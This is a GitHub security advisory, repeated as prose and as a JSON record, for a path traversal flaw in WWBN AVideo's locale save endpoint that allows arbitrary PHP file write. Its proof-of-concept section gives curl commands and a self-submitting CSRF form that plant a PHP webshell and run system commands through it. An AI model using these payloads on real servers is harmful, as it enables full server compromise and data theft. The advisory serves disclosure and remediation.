GHSA-6RC6-P838-686F
Vulnerability from github – Published: 2026-04-14 22:49 – Updated: 2026-04-14 22:49Summary
The locale save endpoint (locale/save.php) constructs a file path by directly concatenating $_POST['flag'] into the path at line 30 without any sanitization. The $_POST['code'] parameter is then written verbatim to that path via fwrite() at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use SameSite=None) can traverse out of the locale/ directory and write arbitrary .php files to any writable location on the filesystem, achieving Remote Code Execution.
Details
In locale/save.php, the vulnerable code path is:
// locale/save.php:10 — only auth check, no CSRF token
if (!User::isAdmin() || !empty($global['disableAdvancedConfigurations'])) {
// ...
die(json_encode($obj));
}
// locale/save.php:16 — base directory
$dir = "{$global['systemRootPath']}locale/";
// locale/save.php:30 — UNSANITIZED path concatenation
$file = $dir.($_POST['flag']).".php";
$myfile = fopen($file, "w") or die("Unable to open file!");
// locale/save.php:40 — UNSANITIZED content write
fwrite($myfile, $_POST['code']);
Root cause: $_POST['flag'] is concatenated directly into the file path with no call to basename(), realpath(), or any filtering of ../ sequences. A flag value like ../../shell resolves to {systemRootPath}locale/../../shell.php, which escapes the locale directory and writes to {systemRootPath}../shell.php — the web-accessible parent directory.
The file content is constructed as:
<?php
global $t;
{$_POST['code']} // attacker-controlled, written verbatim
An attacker can inject arbitrary PHP after closing the translation context (e.g., $t["x"]=1;?><?php system($_GET["c"]);).
CSRF amplification: The endpoint performs no CSRF token validation. AVideo intentionally sets SameSite=None on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker's page will include the admin's session cookie, making CSRF exploitation trivial.
PoC
Direct exploitation (requires admin session):
# Step 1: Write a webshell outside locale/ to the webroot
curl -b 'PHPSESSID=<admin_session>' \
-X POST 'https://target/locale/save.php' \
-d 'flag=../../webshell&code=$t["x"]=1;?><%3fphp+system($_GET["c"]);'
# Step 2: Execute commands via the written webshell
curl 'https://target/webshell.php?c=id'
# Response: uid=33(www-data) gid=33(www-data) ...
CSRF variant (no direct admin access needed):
Host the following HTML on an attacker-controlled site and lure an admin to visit:
<html>
<body>
<form method="POST" action="https://target/locale/save.php">
<input type="hidden" name="flag" value="../../webshell">
<input type="hidden" name="code" value='$t["x"]=1;?><?php system($_GET["c"]);'>
</form>
<script>document.forms[0].submit();</script>
</body>
</html>
After the admin visits the page, the attacker accesses https://target/webshell.php?c=id for RCE.
Impact
- Remote Code Execution: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.
- CSRF to RCE chain: Because no CSRF token is required and
SameSite=Noneis set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only. - Full server compromise: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.
Recommended Fix
Sanitize the flag parameter to prevent path traversal and add CSRF protection:
// locale/save.php — after the admin check at line 14
// Add CSRF token validation
if (empty($_POST['token']) || !User::isValidToken($_POST['token'])) {
$obj->status = 0;
$obj->error = __("Invalid token");
die(json_encode($obj));
}
// Sanitize flag to prevent path traversal
$flag = basename($_POST['flag']); // strip directory components
if (empty($flag) || preg_match('/[^a-zA-Z0-9_\-]/', $flag)) {
$obj->status = 0;
$obj->error = __("Invalid locale flag");
die(json_encode($obj));
}
$file = $dir . $flag . ".php";
// Verify resolved path is within expected directory
$realDir = realpath($dir);
$realFile = realpath(dirname($file)) . '/' . basename($file);
if (strpos($realFile, $realDir) !== 0) {
$obj->status = 0;
$obj->error = __("Invalid file path");
die(json_encode($obj));
}
Additionally, the code parameter should be validated to ensure it only contains translation assignments ($t[...] = ...;) and does not include PHP opening/closing tags or arbitrary code.
{
"affected": [
{
"package": {
"ecosystem": "Packagist",
"name": "wwbn/avideo"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "29.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-22"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-14T22:49:48Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nThe locale save endpoint (`locale/save.php`) constructs a file path by directly concatenating `$_POST[\u0027flag\u0027]` into the path at line 30 without any sanitization. The `$_POST[\u0027code\u0027]` parameter is then written verbatim to that path via `fwrite()` at line 40. An admin attacker (or any user who can CSRF an admin, since no CSRF token is checked and cookies use `SameSite=None`) can traverse out of the `locale/` directory and write arbitrary `.php` files to any writable location on the filesystem, achieving Remote Code Execution.\n\n## Details\n\nIn `locale/save.php`, the vulnerable code path is:\n\n```php\n// locale/save.php:10 \u2014 only auth check, no CSRF token\nif (!User::isAdmin() || !empty($global[\u0027disableAdvancedConfigurations\u0027])) {\n // ...\n die(json_encode($obj));\n}\n\n// locale/save.php:16 \u2014 base directory\n$dir = \"{$global[\u0027systemRootPath\u0027]}locale/\";\n\n// locale/save.php:30 \u2014 UNSANITIZED path concatenation\n$file = $dir.($_POST[\u0027flag\u0027]).\".php\";\n$myfile = fopen($file, \"w\") or die(\"Unable to open file!\");\n\n// locale/save.php:40 \u2014 UNSANITIZED content write\nfwrite($myfile, $_POST[\u0027code\u0027]);\n```\n\n**Root cause**: `$_POST[\u0027flag\u0027]` is concatenated directly into the file path with no call to `basename()`, `realpath()`, or any filtering of `../` sequences. A `flag` value like `../../shell` resolves to `{systemRootPath}locale/../../shell.php`, which escapes the locale directory and writes to `{systemRootPath}../shell.php` \u2014 the web-accessible parent directory.\n\nThe file content is constructed as:\n```php\n\u003c?php\nglobal $t;\n{$_POST[\u0027code\u0027]} // attacker-controlled, written verbatim\n```\n\nAn attacker can inject arbitrary PHP after closing the translation context (e.g., `$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);`).\n\n**CSRF amplification**: The endpoint performs no CSRF token validation. AVideo intentionally sets `SameSite=None` on session cookies (for cross-origin iframe support), which means cross-site POST requests from an attacker\u0027s page will include the admin\u0027s session cookie, making CSRF exploitation trivial.\n\n## PoC\n\n**Direct exploitation (requires admin session):**\n\n```bash\n# Step 1: Write a webshell outside locale/ to the webroot\ncurl -b \u0027PHPSESSID=\u003cadmin_session\u003e\u0027 \\\n -X POST \u0027https://target/locale/save.php\u0027 \\\n -d \u0027flag=../../webshell\u0026code=$t[\"x\"]=1;?\u003e\u003c%3fphp+system($_GET[\"c\"]);\u0027\n\n# Step 2: Execute commands via the written webshell\ncurl \u0027https://target/webshell.php?c=id\u0027\n# Response: uid=33(www-data) gid=33(www-data) ...\n```\n\n**CSRF variant (no direct admin access needed):**\n\nHost the following HTML on an attacker-controlled site and lure an admin to visit:\n\n```html\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform method=\"POST\" action=\"https://target/locale/save.php\"\u003e\n \u003cinput type=\"hidden\" name=\"flag\" value=\"../../webshell\"\u003e\n \u003cinput type=\"hidden\" name=\"code\" value=\u0027$t[\"x\"]=1;?\u003e\u003c?php system($_GET[\"c\"]);\u0027\u003e\n\u003c/form\u003e\n\u003cscript\u003edocument.forms[0].submit();\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n```\n\nAfter the admin visits the page, the attacker accesses `https://target/webshell.php?c=id` for RCE.\n\n## Impact\n\n- **Remote Code Execution**: An attacker can write arbitrary PHP code to any writable web-accessible directory, achieving full server compromise.\n- **CSRF to RCE chain**: Because no CSRF token is required and `SameSite=None` is set, any user who can trick an admin into visiting a malicious page achieves unauthenticated RCE. This significantly expands the attack surface beyond admin-only.\n- **Full server compromise**: With arbitrary PHP execution as the web server user, the attacker can read/modify the database, access all user data, pivot to other services, and potentially escalate privileges on the host.\n\n## Recommended Fix\n\nSanitize the `flag` parameter to prevent path traversal and add CSRF protection:\n\n```php\n// locale/save.php \u2014 after the admin check at line 14\n\n// Add CSRF token validation\nif (empty($_POST[\u0027token\u0027]) || !User::isValidToken($_POST[\u0027token\u0027])) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid token\");\n die(json_encode($obj));\n}\n\n// Sanitize flag to prevent path traversal\n$flag = basename($_POST[\u0027flag\u0027]); // strip directory components\nif (empty($flag) || preg_match(\u0027/[^a-zA-Z0-9_\\-]/\u0027, $flag)) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid locale flag\");\n die(json_encode($obj));\n}\n\n$file = $dir . $flag . \".php\";\n\n// Verify resolved path is within expected directory\n$realDir = realpath($dir);\n$realFile = realpath(dirname($file)) . \u0027/\u0027 . basename($file);\nif (strpos($realFile, $realDir) !== 0) {\n $obj-\u003estatus = 0;\n $obj-\u003eerror = __(\"Invalid file path\");\n die(json_encode($obj));\n}\n```\n\nAdditionally, the `code` parameter should be validated to ensure it only contains translation assignments (`$t[...] = ...;`) and does not include PHP opening/closing tags or arbitrary code.",
"id": "GHSA-6rc6-p838-686f",
"modified": "2026-04-14T22:49:48Z",
"published": "2026-04-14T22:49:48Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/WWBN/AVideo/security/advisories/GHSA-6rc6-p838-686f"
},
{
"type": "PACKAGE",
"url": "https://github.com/WWBN/AVideo"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "WWBN AVideo has a Path Traversal in Locale Save Endpoint Enables Arbitrary PHP File Write to Any Web-Accessible Directory (RCE)"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.